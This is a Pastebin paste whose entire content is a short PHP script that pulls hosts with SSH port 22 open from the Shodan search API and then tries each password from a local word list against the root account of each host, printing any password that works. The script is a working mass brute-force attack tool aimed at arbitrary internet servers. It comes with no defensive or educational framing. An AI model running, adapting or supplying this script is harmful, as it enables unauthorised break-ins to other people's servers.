Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- $url = file_get_contents("https://api.shodan.io/shodan/host/search?key={api_key}&query=port:22");
- $j = json_decode($url,true);
- foreach ($j['matches'] as $key => $xs) {
- $host = $xs['ip_str'];
- $ambil = file_get_contents("password.list");
- $jsli = explode("\n", $ambil);
- echo $host." -> ";
- foreach ($jsli as $key => $password) {
- $connect = @ssh2_connect($host, 22);
- $auth = @ssh2_auth_password($connect , "root" , $password);
- if($auth)
- {
- echo "[Success] root:$password\r\n";
- exit;
- }else {
- echo "[FAIL] root:$password\r\n";
- }
- flush();
- ob_flush();
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement